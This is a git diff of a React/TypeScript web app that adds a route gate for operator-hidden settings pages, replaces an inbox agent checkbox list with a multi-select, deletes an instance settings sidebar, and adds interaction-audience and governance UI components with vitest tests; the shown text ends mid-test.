--- /dev/null
+++ b/ui/src/components/HiddenSettingsPageGate.test.tsx
@@ -0,0 +1,88 @@
+// @vitest-environment jsdom
+
+import { flushSync } from "react-dom";
+import { createRoot, type Root } from "react-dom/client";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { queryKeys } from "@/lib/queryKeys";
+import { HiddenSettingsPageGate } from "./HiddenSettingsPageGate";
+
+vi.mock("@/lib/router", () => ({
+  Navigate: ({ to, replace }: { to: string; replace?: boolean }) => (
+    <div data-testid="navigate" data-to={to} data-replace={String(replace)} />
+  ),
+  Outlet: () => <div data-testid="page-content">Page content</div>,
+}));
+
+async function flushReact() {
+  for (let index = 0; index < 5; index += 1) {
+    await Promise.resolve();
+    await new Promise((resolve) => window.setTimeout(resolve, 0));
+  }
+  flushSync(() => {});
+}
+
+describe("HiddenSettingsPageGate", () => {
+  let container: HTMLDivElement;
+  let root: Root | null = null;
+
+  async function renderGate(pageKey: string, health?: Record<string, unknown>) {
+    root = createRoot(container);
+    const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+    if (health !== undefined) {
+      queryClient.setQueryData(queryKeys.health, health);
+    }
+    flushSync(() => {
+      root!.render(
+        <QueryClientProvider client={queryClient}>
+          <HiddenSettingsPageGate pageKey={pageKey} />
+        </QueryClientProvider>,
+      );
+    });
+    await flushReact();
+  }
+
+  beforeEach(() => {
+    container = document.createElement("div");
+    document.body.appendChild(container);
+  });
+
+  afterEach(() => {
+    flushSync(() => root?.unmount());
+    root = null;
+    container.remove();
+    vi.clearAllMocks();
+  });
+
+  it("redirects to the settings root when the page is operator-hidden", async () => {
+    await renderGate("instance.plugins", {
+      status: "ok",
+      hiddenSettings: ["instance.plugins", "instance.adapters"],
+    });
+
+    expect(container.querySelector('[data-testid="navigate"]')?.getAttribute("data-to")).toBe(
+      "/company/settings",
+    );
+    expect(container.querySelector('[data-testid="page-content"]')).toBeNull();
+  });
+
+  it("renders the page when it is not hidden", async () => {
+    await renderGate("instance.plugins", { status: "ok", hiddenSettings: ["instance.access"] });
+
+    expect(container.querySelector('[data-testid="page-content"]')).not.toBeNull();
+    expect(container.querySelector('[data-testid="navigate"]')).toBeNull();
+  });
+
+  it("renders the page when nothing is hidden at all", async () => {
+    await renderGate("instance.adapters", { status: "ok" });
+
+    expect(container.querySelector('[data-testid="page-content"]')).not.toBeNull();
+  });
+
+  it("renders nothing until health is cached", async () => {
+    await renderGate("instance.plugins");
+
+    expect(container.querySelector('[data-testid="page-content"]')).toBeNull();
+    expect(container.querySelector('[data-testid="navigate"]')).toBeNull();
+  });
+});
diff --git a/ui/src/components/HiddenSettingsPageGate.tsx b/ui/src/components/HiddenSettingsPageGate.tsx
new file mode 100644
index 00000000000..99f6f217c81
--- /dev/null
+++ b/ui/src/components/HiddenSettingsPageGate.tsx
@@ -0,0 +1,17 @@
+import { Navigate, Outlet } from "@/lib/router";
+import { useHiddenSettings } from "@/hooks/useHiddenSettings";
+
+/**
+ * Route gate for instance-settings pages the hosting operator can hide
+ * (`instance.access`, `instance.plugins`, `instance.adapters`). Hidden pages
+ * redirect to the settings root instead of rendering; until health is cached
+ * nothing renders, so a hidden page never flashes. Under CloudAccessGate the
+ * health response is always cached before board routes mount.
+ */
+export function HiddenSettingsPageGate({ pageKey }: { pageKey: string }) {
+  const { hidden, loaded } = useHiddenSettings();
+
+  if (!loaded) return null;
+  if (hidden.has(pageKey)) return <Navigate to="/company/settings" replace />;
+  return <Outlet />;
+}
diff --git a/ui/src/components/InboxAgentPolicyControl.test.tsx b/ui/src/components/InboxAgentPolicyControl.test.tsx
index 1450411e0d1..d14f3ba830d 100644
--- a/ui/src/components/InboxAgentPolicyControl.test.tsx
+++ b/ui/src/components/InboxAgentPolicyControl.test.tsx
@@ -137,17 +137,29 @@ describe("InboxAgentPolicyControl", () => {
       expect(save?.disabled).toBe(true);
     });
 
-    // Switch to allowlist — only non-terminated agents are selectable.
+    // Switch to allowlist — agents stay in the compact selector instead of a
+    // permanently expanded list.
     await act(async () => optionByTitle(container, "Only chosen agents")!.click());
     await flush();
     await waitForAssertion(() => {
-      expect(container.textContent).toContain("Gardener");
-      expect(container.textContent).toContain("Coder");
+      expect(container.textContent).toContain("Select agents");
+      expect(container.textContent).not.toContain("Gardener");
+      expect(container.textContent).not.toContain("Coder");
       expect(container.textContent).not.toContain("Retired");
     });
 
-    const gardenerCheckbox = container.querySelector<HTMLButtonElement>(
-      'button[aria-label="Allow Gardener to tidy my inbox"]',
+    const selector = Array.from(container.querySelectorAll("button"))
+      .find((button) => button.textContent?.includes("Select agents"));
+    await act(async () => selector!.click());
+    await flush();
+    await waitForAssertion(() => {
+      expect(document.body.textContent).toContain("Gardener");
+      expect(document.body.textContent).toContain("Coder");
+      expect(document.body.textContent).not.toContain("Retired");
+    });
+
+    const gardenerCheckbox = document.body.querySelector<HTMLButtonElement>(
+      'button[aria-label="Allow Gardener"]',
     );
     expect(gardenerCheckbox).toBeTruthy();
     await act(async () => gardenerCheckbox!.click());
diff --git a/ui/src/components/InboxAgentPolicyControl.tsx b/ui/src/components/InboxAgentPolicyControl.tsx
index 5570683432b..56aff2b9413 100644
--- a/ui/src/components/InboxAgentPolicyControl.tsx
+++ b/ui/src/components/InboxAgentPolicyControl.tsx
@@ -6,8 +6,7 @@ import { agentsApi } from "@/api/agents";
 import { inboxAgentPolicyApi } from "@/api/inbox-agent-policy";
 import { queryKeys } from "@/lib/queryKeys";
 import { isAgentTaskTarget } from "@/lib/company-members";
-import { AgentIcon } from "./AgentIconPicker";
-import { Checkbox } from "@/components/ui/checkbox";
+import { AgentMultiSelect } from "@/components/AgentMultiSelect";
 import { Button } from "@/components/ui/button";
 import { RadioCardGroup, type RadioCardOption } from "@/components/ui/radio-card";
 
@@ -66,6 +65,19 @@ export function InboxAgentPolicyControl({ companyId }: { companyId: string | nul
     () => (agentsQuery.data ?? []).filter(isAgentTaskTarget),
     [agentsQuery.data],
   );
+  const agentOptions = useMemo(
+    () => selectableAgents.map((agent) => ({
+      id: agent.id,
+      name: agent.name,
+      title: agent.title ?? agent.role,
+      icon: agent.icon,
+    })),
+    [selectableAgents],
+  );
+  const selectedAgentIds = useMemo(
+    () => new Set(draft?.allowedAgentIds ?? []),
+    [draft?.allowedAgentIds],
+  );
 
   // Adopt server state on first load, or on refetch when the user has not
   // diverged from the previously-synced snapshot (so a background refetch never
@@ -109,16 +121,6 @@ export function InboxAgentPolicyControl({ companyId }: { companyId: string | nul
     return <div className="text-sm text-muted-foreground">Loading inbox agent policy…</div>;
   }
 
-  const toggleAgent = (agentId: string, checked: boolean) => {
-    setDraft((current) => {
-      if (!current) return current;
-      const set = new Set(current.allowedAgentIds);
-      if (checked) set.add(agentId);
-      else set.delete(agentId);
-      return { ...current, allowedAgentIds: [...set] };
-    });
-  };
-
   return (
     <section className="space-y-4" aria-label="Let agents tidy my inbox">
       <div className="space-y-1">
@@ -141,31 +143,25 @@ export function InboxAgentPolicyControl({ companyId }: { companyId: string | nul
       />
 
       {draft.mode === "allowlist" ? (
-        <div className="max-w-2xl space-y-2 rounded-md border border-border p-3">
+        <div className="max-w-2xl space-y-2">
           <div className="text-sm font-medium">Agents allowed to tidy my inbox</div>
-          {selectableAgents.length === 0 ? (
-            <p className="text-xs text-muted-foreground">You don&apos;t manage any agents yet.</p>
-          ) : (
-            <ul className="space-y-1.5">
-              {selectableAgents.map((agent) => {
-                const checked = draft.allowedAgentIds.includes(agent.id);
-                return (
-                  <li key={agent.id}>
-                    <label className="flex cursor-pointer items-center gap-2.5 rounded-md px-1.5 py-1 transition-colors hover:bg-accent/40">
-                      <Checkbox
-                        checked={checked}
-                        onCheckedChange={(next) => toggleAgent(agent.id, next === true)}
-                        aria-label={`Allow ${agent.name} to tidy my inbox`}
-                      />
-                      <AgentIcon icon={agent.icon} className="h-4 w-4 shrink-0 text-muted-foreground" />
-                      <span className="min-w-0 truncate text-sm">{agent.name}</span>
-                      <span className="shrink-0 text-xs text-muted-foreground">{agent.role}</span>
-                    </label>
-                  </li>
-                );
-              })}
-            </ul>
-          )}
+          <AgentMultiSelect
+            agents={agentOptions}
+            selectedAgentIds={selectedAgentIds}
+            onChange={(next) =>
+              setDraft((current) =>
+                current ? { ...current, allowedAgentIds: [...next] } : current,
+              )
+            }
+            triggerLabel={
+              selectedAgentIds.size === 0
+                ? "Select agents"
+                : `${selectedAgentIds.size} ${selectedAgentIds.size === 1 ? "agent" : "agents"} selected`
+            }
+            triggerFullWidth={false}
+            showSelectionPreview={false}
+            emptyMessage="You don’t manage any agents yet."
+          />
         </div>
       ) : null}
 
diff --git a/ui/src/components/InstanceSidebar.test.tsx b/ui/src/components/InstanceSidebar.test.tsx
deleted file mode 100644
index a556e7123ea..00000000000
--- a/ui/src/components/InstanceSidebar.test.tsx
+++ /dev/null
@@ -1,286 +0,0 @@
-// @vitest-environment jsdom
-
-import type { ReactNode } from "react";
-import { createRoot } from "react-dom/client";
-import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
-import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
-import type { PluginRecord } from "@paperclipai/shared";
-
-const mockPluginsApi = vi.hoisted(() => ({
-  list: vi.fn(),
-}));
-
-vi.mock("@/api/plugins", () => ({
-  pluginsApi: mockPluginsApi,
-}));
-
-vi.mock("@/lib/router", () => ({
-  NavLink: ({
-    children,
-    to,
-    className,
-  }: {
-    children: ReactNode | ((arg: { isActive: boolean }) => ReactNode);
-    to: string;
-    state?: unknown;
-    end?: boolean;
-    onClick?: () => void;
-    className?: string | ((arg: { isActive: boolean }) => string);
-  }) => {
-    const resolvedClass =
-      typeof className === "function" ? className({ isActive: false }) : className;
-    const content = typeof children === "function" ? children({ isActive: false }) : children;
-    return (
-      <a href={to} className={resolvedClass}>
-        {content}
-      </a>
-    );
-  },
-}));
-
-vi.mock("../context/SidebarContext", () => ({
-  useSidebar: () => ({ isMobile: false, setSidebarOpen: vi.fn() }),
-}));
-
-// eslint-disable-next-line @typescript-eslint/no-explicit-any
-(globalThis as any).IS_REACT_ACT_ENVIRONMENT = true;
-
-import { InstanceSidebar } from "./InstanceSidebar";
-
-async function act(callback: () => void | Promise<void>) {
-  await callback();
-  await Promise.resolve();
-  await new Promise((resolve) => window.setTimeout(resolve, 0));
-}
-
-function makePlugin(overrides: Partial<PluginRecord> & { manifestJson: PluginRecord["manifestJson"] }): PluginRecord {
-  return {
-    id: overrides.id ?? "plugin-id",
-    pluginKey: overrides.pluginKey ?? "plugin-key",
-    packageName: overrides.packageName ?? "@scope/pkg",
-    version: overrides.version ?? "1.0.0",
-    apiVersion: overrides.apiVersion ?? 1,
-    categories: overrides.categories ?? [],
-    manifestJson: overrides.manifestJson,
-    status: overrides.status ?? "ready",
-    installOrder: overrides.installOrder ?? 0,
-    packagePath: overrides.packagePath ?? null,
-    lastError: overrides.lastError ?? null,
-    installedAt: overrides.installedAt ?? new Date(0),
-    updatedAt: overrides.updatedAt ?? new Date(0),
-  };
-}
-
-async function flushReact() {
-  await act(async () => {
-    await Promise.resolve();
-    await new Promise((resolve) => window.setTimeout(resolve, 0));
-  });
-}
-
-async function findPluginLinks(container: HTMLElement, expectedCount: number) {
-  await act(async () => {
-    await vi.waitFor(() => {
-      expect(container.querySelectorAll('a[href^="/company/settings/instance/plugins/"]')).toHaveLength(expectedCount);
-    });
-  });
-  return Array.from(container.querySelectorAll<HTMLAnchorElement>('a[href^="/company/settings/instance/plugins/"]'));
-}
-
-function renderSidebar(container: HTMLElement) {
-  const queryClient = new QueryClient({
-    defaultOptions: { queries: { retry: false, gcTime: 0 } },
-  });
-  const root = createRoot(container);
-  act(() => {
-    root.render(
-      <QueryClientProvider client={queryClient}>
-        <InstanceSidebar />
-      </QueryClientProvider>,
-    );
-  });
-  return { root, queryClient };
-}
-
-describe("InstanceSidebar", () => {
-  let container: HTMLDivElement;
-  let root: ReturnType<typeof createRoot> | null;
-  let queryClient: QueryClient | null;
-
-  beforeEach(() => {
-    container = document.createElement("div");
-    document.body.appendChild(container);
-    root = null;
-    queryClient = null;
-    mockPluginsApi.list.mockReset();
-  });
-
-  afterEach(async () => {
-    if (root) {
-      const currentRoot = root;
-      await act(async () => {
-        currentRoot.unmount();
-      });
-    }
-    queryClient?.clear();
-    container.remove();
-    document.body.innerHTML = "";
-    vi.clearAllMocks();
-  });
-
-  it("filters out sandbox-provider-only plugins from the sidebar", async () => {
-    const sandboxPlugin = makePlugin({
-      id: "e2b",
-      packageName: "@paperclipai/plugin-e2b",
-      manifestJson: {
-        id: "e2b",
-        name: "E2B Sandbox Provider",
-        displayName: "E2B Sandbox Provider",
-        version: "1.0.0",
-        apiVersion: 1,
-        environmentDrivers: [
-          {
-            driverKey: "e2b",
-            kind: "sandbox_provider",
-            displayName: "E2B",
-            configSchema: { type: "object" },
-          },
-        ],
-      } as unknown as PluginRecord["manifestJson"],
-    });
-    const regularPlugin = makePlugin({
-      id: "linear",
-      packageName: "@paperclipai/plugin-linear",
-      manifestJson: {
-        id: "linear",
-        name: "Linear",
-        displayName: "Linear",
-        version: "1.0.0",
-        apiVersion: 1,
-      } as unknown as PluginRecord["manifestJson"],
-    });
-    mockPluginsApi.list.mockResolvedValue([sandboxPlugin, regularPlugin]);
-
-    const rendered = renderSidebar(container);
-    root = rendered.root;
-    queryClient = rendered.queryClient;
-    await flushReact();
-
-    const pluginLinks = await findPluginLinks(container, 1);
-    expect(pluginLinks[0]?.getAttribute("href")).toBe("/company/settings/instance/plugins/linear");
-    expect(pluginLinks[0]?.textContent).toBe("Linear");
-  });
-
-  it("keeps plugins that mix sandbox-provider with other contributions", async () => {
-    const hybridPlugin = makePlugin({
-      id: "hybrid",
-      packageName: "@example/plugin-hybrid",
-      manifestJson: {
-        id: "hybrid",
-        name: "Hybrid",
-        displayName: "Hybrid",
-        version: "1.0.0",
-        apiVersion: 1,
-        environmentDrivers: [
-          {
-            driverKey: "sb",
-            kind: "sandbox_provider",
-            displayName: "SB",
-            configSchema: { type: "object" },
-          },
-          {
-            driverKey: "env",
-            kind: "environment_driver",
-            displayName: "Env",
-            configSchema: { type: "object" },
-          },
-        ],
-      } as unknown as PluginRecord["manifestJson"],
-    });
-    mockPluginsApi.list.mockResolvedValue([hybridPlugin]);
-
-    const rendered = renderSidebar(container);
-    root = rendered.root;
-    queryClient = rendered.queryClient;
-    await flushReact();
-
-    const pluginLinks = await findPluginLinks(container, 1);
-    expect(pluginLinks[0]?.getAttribute("href")).toBe("/company/settings/instance/plugins/hybrid");
-  });
-
-  it("renders the indented plugin list between the Plugins and Adapters rows", async () => {
-    mockPluginsApi.list.mockResolvedValue([
-      makePlugin({
-        id: "linear",
-        packageName: "@paperclipai/plugin-linear",
-        manifestJson: {
-          id: "linear",
-          name: "Linear",
-          displayName: "Linear",
-          version: "1.0.0",
-          apiVersion: 1,
-        } as unknown as PluginRecord["manifestJson"],
-      }),
-    ]);
-
-    const rendered = renderSidebar(container);
-    root = rendered.root;
-    queryClient = rendered.queryClient;
-    await flushReact();
-    await findPluginLinks(container, 1);
-
-    await vi.waitFor(() => {
-      const links = Array.from(
-        container.querySelectorAll<HTMLAnchorElement>('a[href^="/company/settings/instance/"]'),
-      );
-      expect(links.some((a) => a.getAttribute("href") === "/company/settings/instance/plugins/linear")).toBe(true);
-    });
-
-    const topLevelLinks = Array.from(container.querySelectorAll<HTMLAnchorElement>('a[href^="/company/settings/instance/"]'));
-    const hrefs = topLevelLinks.map((a) => a.getAttribute("href"));
-
-    const pluginsIndex = hrefs.indexOf("/company/settings/instance/plugins");
-    const adaptersIndex = hrefs.indexOf("/company/settings/instance/adapters");
-    const linearIndex = hrefs.indexOf("/company/settings/instance/plugins/linear");
-
-    expect(pluginsIndex).toBeGreaterThanOrEqual(0);
-    expect(adaptersIndex).toBeGreaterThan(pluginsIndex);
-    expect(linearIndex).toBeGreaterThan(pluginsIndex);
-    expect(linearIndex).toBeLessThan(adaptersIndex);
-  });
-
-  it("does not render the indented group when every plugin is filtered out", async () => {
-    mockPluginsApi.list.mockResolvedValue([
-      makePlugin({
-        id: "e2b",
-        packageName: "@paperclipai/plugin-e2b",
-        manifestJson: {
-          id: "e2b",
-          name: "E2B",
-          displayName: "E2B",
-          version: "1.0.0",
-          apiVersion: 1,
-          environmentDrivers: [
-            {
-              driverKey: "e2b",
-              kind: "sandbox_provider",
-              displayName: "E2B",
-              configSchema: { type: "object" },
-            },
-          ],
-        } as unknown as PluginRecord["manifestJson"],
-      }),
-    ]);
-
-    const rendered = renderSidebar(container);
-    root = rendered.root;
-    queryClient = rendered.queryClient;
-    await flushReact();
-
-    await vi.waitFor(() => {
-      expect(mockPluginsApi.list).toHaveBeenCalled();
-    });
-    const pluginLinks = Array.from(container.querySelectorAll('a[href^="/company/settings/instance/plugins/"]'));
-    expect(pluginLinks).toHaveLength(0);
-  });
-});
diff --git a/ui/src/components/InstanceSidebar.tsx b/ui/src/components/InstanceSidebar.tsx
deleted file mode 100644
index 6def9b844ac..00000000000
--- a/ui/src/components/InstanceSidebar.tsx
+++ /dev/null
@@ -1,75 +0,0 @@
-import { useQuery } from "@tanstack/react-query";
-import { Clock3, Cpu, FlaskConical, MonitorCog, Puzzle, Settings, Shield, SlidersHorizontal, UserRoundPen } from "lucide-react";
-import type { PluginRecord } from "@paperclipai/shared";
-import { NavLink } from "@/lib/router";
-import { pluginsApi } from "@/api/plugins";
-import { INSTANCE_SETTINGS_PATH_PREFIX } from "@/lib/instance-settings";
-import { queryKeys } from "@/lib/queryKeys";
-import { SIDEBAR_SCROLL_RESET_STATE } from "@/lib/navigation-scroll";
-import { SidebarNavItem } from "./SidebarNavItem";
-
-/**
- * Sandbox-provider-only plugins (e.g. E2B, exe.dev, Modal) have no per-plugin
- * settings page — `PluginSettings` redirects them to the Environments page —
- * so a sidebar entry would lead nowhere useful. Filter them out here. Plugins
- * that mix a sandbox provider with other contributions still appear.
- */
-function isSandboxProviderOnly(plugin: PluginRecord): boolean {
-  const drivers = plugin.manifestJson.environmentDrivers ?? [];
-  if (drivers.length === 0) return false;
-  return drivers.every((d) => d.kind === "sandbox_provider");
-}
-
-export function InstanceSidebar() {
-  const { data: plugins } = useQuery({
-    queryKey: queryKeys.plugins.all,
-    queryFn: () => pluginsApi.list(),
-  });
-
-  const sidebarPlugins = (plugins ?? []).filter((p) => !isSandboxProviderOnly(p));
-
-  return (
-    <aside className="w-full h-full min-h-0 border-r border-border bg-background flex flex-col">
-      <div className="flex items-center gap-2 px-3 h-12 shrink-0">
-        <Settings className="h-4 w-4 text-muted-foreground shrink-0 ml-1" />
-        <span className="flex-1 text-sm font-bold text-foreground truncate">
-          Instance Settings
-        </span>
-      </div>
-
-      <nav className="flex-1 min-h-0 overflow-y-auto scrollbar-auto-hide flex flex-col gap-4 px-3 py-2">
-        <div className="flex flex-col gap-0.5">
-          <SidebarNavItem to={`${INSTANCE_SETTINGS_PATH_PREFIX}/profile`} label="Profile" icon={UserRoundPen} end />
-          <SidebarNavItem to={`${INSTANCE_SETTINGS_PATH_PREFIX}/general`} label="General" icon={SlidersHorizontal} end />
-          <SidebarNavItem to={`${INSTANCE_SETTINGS_PATH_PREFIX}/environments`} label="Environments" icon={MonitorCog} end />
-          <SidebarNavItem to={`${INSTANCE_SETTINGS_PATH_PREFIX}/access`} label="Access" icon={Shield} end />
-          <SidebarNavItem to={`${INSTANCE_SETTINGS_PATH_PREFIX}/heartbeats`} label="Heartbeats" icon={Clock3} end />
-          <SidebarNavItem to={`${INSTANCE_SETTINGS_PATH_PREFIX}/experimental`} label="Experimental" icon={FlaskConical} />
-          <SidebarNavItem to={`${INSTANCE_SETTINGS_PATH_PREFIX}/plugins`} label="Plugins" icon={Puzzle} />
-          {sidebarPlugins.length > 0 ? (
-            <div className="ml-4 mt-1 flex flex-col gap-0.5 border-l border-border/70 pl-3">
-              {sidebarPlugins.map((plugin) => (
-                <NavLink
-                  key={plugin.id}
-                  to={`${INSTANCE_SETTINGS_PATH_PREFIX}/plugins/${plugin.id}`}
-                  state={SIDEBAR_SCROLL_RESET_STATE}
-                  className={({ isActive }) =>
-                    [
-                      "rounded-md px-2 py-1.5 text-xs transition-colors",
-                      isActive
-                        ? "bg-accent text-foreground"
-                        : "text-muted-foreground hover:bg-accent/50 hover:text-foreground",
-                    ].join(" ")
-                  }
-                >
-                  {plugin.manifestJson.displayName ?? plugin.packageName}
-                </NavLink>
-              ))}
-            </div>
-          ) : null}
-          <SidebarNavItem to={`${INSTANCE_SETTINGS_PATH_PREFIX}/adapters`} label="Adapters" icon={Cpu} />
-        </div>
-      </nav>
-    </aside>
-  );
-}
diff --git a/ui/src/components/InteractionAudienceLine.tsx b/ui/src/components/InteractionAudienceLine.tsx
new file mode 100644
index 00000000000..9890d639b5e
--- /dev/null
+++ b/ui/src/components/InteractionAudienceLine.tsx
@@ -0,0 +1,76 @@
+import { Users } from "lucide-react";
+import type { InteractionAudienceDescription } from "../lib/interaction-audience";
+import { cn } from "../lib/utils";
+
+/**
+ * Who may resolve an interaction, stated before anyone acts.
+ *
+ * One component for both surfaces that ask for a decision: the full
+ * issue-thread card (`variant="card"`) and a collapsed attention row sitting
+ * directly above compact Accept/Reject buttons (`variant="compact"`,
+ * PAP-17287). The compact form trades the full sentence for a glanceable clause
+ * and hands the long form to the title attribute, so the two surfaces can never
+ * describe the same policy differently.
+ *
+ * Presentation only: the description is derived from the server's evaluated
+ * audience, and nothing here enables or disables a control. The resolution
+ * routes re-check authority at use time.
+ */
+export function InteractionAudienceLine({
+  audience,
+  variant = "card",
+  className,
+}: {
+  audience: InteractionAudienceDescription;
+  variant?: "card" | "compact";
+  className?: string;
+}) {
+  const compact = variant === "compact";
+  return (
+    <div
+      className={cn(
+        "flex items-start gap-2 text-xs leading-5 text-muted-foreground",
+        compact ? "min-w-0" : "max-w-3xl",
+        className,
+      )}
+      data-testid="interaction-audience"
+      data-audience-policy={audience.policy}
+      data-audience-open={audience.isOpen ? "true" : "false"}
+      data-audience-variant={variant}
+      title={compact
+        ? [audience.summary, audience.narrowedNote].filter(Boolean).join(" ")
+        : undefined}
+    >
+      <Users className="mt-0.5 h-3.5 w-3.5 shrink-0" aria-hidden="true" />
+      {/* The clause names an agent, and an agent name is one unbreakable word.
+          Without a break the row's `overflow-hidden` shell cuts it mid-word with
+          no ellipsis, so a reader sees a plausible but *wrong* responder
+          ("Only ReleaseEngineeringPlatformCoordin") and nothing signals the
+          truncation. Wrapping is the only safe failure mode for a sentence whose
+          whole job is to name who may act (PAP-17289). */}
+      <div className="min-w-0 break-words">
+        {/* The compact form drops the policy badge: its clause already names the
+            responder, and "Anyone — Anyone can respond" spends a scarce line on
+            saying one thing twice. The badge stays on the card, where the longer
+            sentence needs a heading. */}
+        {compact ? null : (
+          <>
+            <span className="font-medium text-foreground">{audience.label}</span>
+            {" — "}
+          </>
+        )}
+        <span data-testid="interaction-audience-summary">
+          {compact ? audience.shortSummary : audience.summary}
+        </span>
+        {/* The reason an audience is narrower than the requester asked for is
+            worth a sentence on the card. A collapsed row keeps it in the title
+            and shows it in full once the row expands. */}
+        {!compact && audience.narrowedNote ? (
+          <span className="block" data-testid="interaction-audience-note">
+            {audience.narrowedNote}
+          </span>
+        ) : null}
+      </div>
+    </div>
+  );
+}
diff --git a/ui/src/components/InteractionGovernancePanel.test.tsx b/ui/src/components/InteractionGovernancePanel.test.tsx
new file mode 100644
index 00000000000..c325fdd79d2
--- /dev/null
+++ b/ui/src/components/InteractionGovernancePanel.test.tsx
@@ -0,0 +1,230 @@
+// @vitest-environment jsdom
+
+import { act as reactAct } from "react";
+import { flushSync } from "react-dom";
+import { createRoot, type Root } from "react-dom/client";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import {
+  ISSUE_THREAD_INTERACTION_KINDS as INTERACTION_KINDS,
+  type InteractionResolverGovernance,
+} from "@paperclipai/shared";
+import {
+  GOVERNANCE_UNSET,
+  InteractionGovernancePanel,
+  applyGovernanceChange,
+  toGovernanceSelectValue,
+} from "./InteractionGovernancePanel";
+import { TooltipProvider } from "./ui/tooltip";
+
+let root: Root | null = null;
+let container: HTMLDivElement | null = null;
+
+(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true;
+
+async function act(callback: () => void | Promise<void>) {
+  if (typeof reactAct === "function") {
+    await reactAct(callback);
+    return;
+  }
+  let result: void | Promise<void> = undefined;
+  flushSync(() => {
+    result = callback();
+  });
+  await result;
+}
+
+function renderPanel(governance: InteractionResolverGovernance = {}, onChange = vi.fn()) {
+  container = document.createElement("div");
+  document.body.appendChild(container);
+  root = createRoot(container);
+  act(() => {
+    root?.render(
+      <TooltipProvider>
+        <InteractionGovernancePanel governance={governance} onChange={onChange} />
+      </TooltipProvider>,
+    );
+  });
+  return { host: container, onChange };
+}
+
+/** Exact visible text of a closed select trigger (the chevron contributes none). */
+function triggerText(host: HTMLElement, testId: string): string {
+  const trigger = host.querySelector(`[data-testid="${testId}"]`);
+  expect(trigger).toBeTruthy();
+  return (trigger?.textContent ?? "").replace(/\s+/g, " ").trim();
+}
+
+afterEach(() => {
+  if (root) {
+    act(() => root?.unmount());
+  }
+  container?.remove();
+  root = null;
+  container = null;
+});
+
+describe("InteractionGovernancePanel", () => {
+  it("presents Anyone as the visible default for a company with no overrides", () => {
+    const { host } = renderPanel();
+
+    const defaultSelect = host.querySelector('[data-testid="governance-request_confirmation-default"]');
+    expect(defaultSelect?.textContent).toContain("Anyone (default)");
+    const cap = host.querySelector('[data-testid="governance-request_confirmation-cap"]');
+    expect(cap?.textContent).toContain("No cap");
+  });
+
+  it("describes the open default without presenting it as board-required", () => {
+    const { host } = renderPanel();
+    const copy = host.textContent ?? "";
+
+    expect(copy).toContain("Thread interactions are open by default");
+    expect(copy).toContain("the board or any agent, including the one that asked");
+    expect(copy).not.toContain("Board only");
+    expect(copy).not.toContain("always require the board");
+    // Governed tool approvals keep their human-only guarantee.
+    expect(copy).toContain("Tool-approval confirmations always stay");
+    expect(copy).toContain("Human only");
+  });
+
+  it("shows a stored narrowing override on the matching row", () => {
+    const { host } = renderPanel({
+      request_confirmation: { defaultPolicy: "human_only", cap: "not_creator" },
+    });
+
+    expect(
+      host.querySelector('[data-testid="governance-request_confirmation-default"]')?.textContent,
+    ).toContain("Human only");
+    expect(
+      host.querySelector('[data-testid="governance-request_confirmation-cap"]')?.textContent,
+    ).toContain("Anyone except creator");
+    // Untouched kinds still read as open.
+    expect(
+      host.querySelector('[data-testid="governance-suggest_tasks-default"]')?.textContent,
+    ).toContain("Anyone (default)");
+  });
+
+  /**
+   * PAP-17297: an empty `<SelectValue />` lets Radix portal the selected
+   * option's whole subtree — label *and* effect sentence — into the closed
+   * trigger, where `line-clamp-1` clipped it. `toContain` assertions cannot see
+   * that, so these check the trigger's exact text.
+   */
+  it("shows only the complete selected label in a closed trigger", () => {
+    const { host } = renderPanel();
+
+    for (const kind of INTERACTION_KINDS) {
+      expect(triggerText(host, `governance-${kind}-default`)).toBe("Anyone (default)");
+      expect(triggerText(host, `governance-${kind}-cap`)).toBe("No cap");
+    }
+  });
+
+  it("keeps a narrowed trigger free of the option effect sentence", () => {
+    const { host } = renderPanel({
+      request_confirmation: { defaultPolicy: "human_only", cap: "not_creator" },
+    });
+
+    expect(triggerText(host, "governance-request_confirmation-default")).toBe("Human only");
+    expect(triggerText(host, "governance-request_confirmation-cap")).toBe("Anyone except creator");
+    // The effect prose belongs to the option list, never the trigger.
+    expect(host.textContent).not.toContain("New cards wait for a person on the board");
+    expect(host.textContent).not.toContain("narrowed to exclude its creator");
+    expect(host.textContent).not.toContain("New cards are open");
+  });
+
+  it("still offers the effect sentence inside the open option list", async () => {
+    const { host } = renderPanel();
+    const trigger = host.querySelector<HTMLElement>(
+      '[data-testid="governance-request_confirmation-default"]',
+    );
+    expect(trigger).toBeTruthy();
+
+    await act(() => {
+      trigger?.dispatchEvent(new KeyboardEvent("keydown", { key: "ArrowDown", bubbles: true }));
+    });
+
+    const listbox = document.querySelector('[data-slot="select-content"]');
+    const listText = listbox?.textContent ?? "";
+    expect(listText).toContain("Anyone (default)");
+    expect(listText).toContain(
+      "New cards are open — the board or any agent can respond, including the one that asked.",
+    );
+    expect(listText).toContain("New cards wait for a person on the board. Agents are turned away.");
+    // Each option keeps a label-only typeahead value so keyboard search does not
+    // match the effect prose.
+    expect(
+      Array.from(listbox?.querySelectorAll('[data-slot="select-item"]') ?? []).length,
+    ).toBe(3);
+    // Reflow guard: the popover is capped so long prose wraps instead of
+    // stretching past a narrow viewport.
+    expect(listbox?.className).toContain("max-w-(--sz-280px)");
+  });
+
+  it("renders a select for every interaction kind", () => {
+    const { host } = renderPanel();
+    expect(host.querySelectorAll('[data-testid$="-default"]')).toHaveLength(5);
+    expect(host.querySelectorAll('[data-testid$="-cap"]')).toHaveLength(5);
+  });
+
+  it("surfaces a save failure", () => {
+    container = document.createElement("div");
+    document.body.appendChild(container);
+    root = createRoot(container);
+    act(() => {
+      root?.render(
+        <TooltipProvider>
+          <InteractionGovernancePanel
+            governance={{}}
+            onChange={vi.fn()}
+            errorMessage="Failed to save interaction governance"
+          />
+        </TooltipProvider>,
+      );
+    });
+    expect(container.textContent).toContain("Failed to save interaction governance");
+  });
+});
+
+describe("toGovernanceSelectValue", () => {
+  it("treats an absent override as the open default", () => {
+    expect(toGovernanceSelectValue(undefined)).toBe(GOVERNANCE_UNSET);
+  });
+
+  it("treats a stored open audience — canonical or legacy alias — as the default", () => {
+    expect(toGovernanceSelectValue("anyone")).toBe(GOVERNANCE_UNSET);
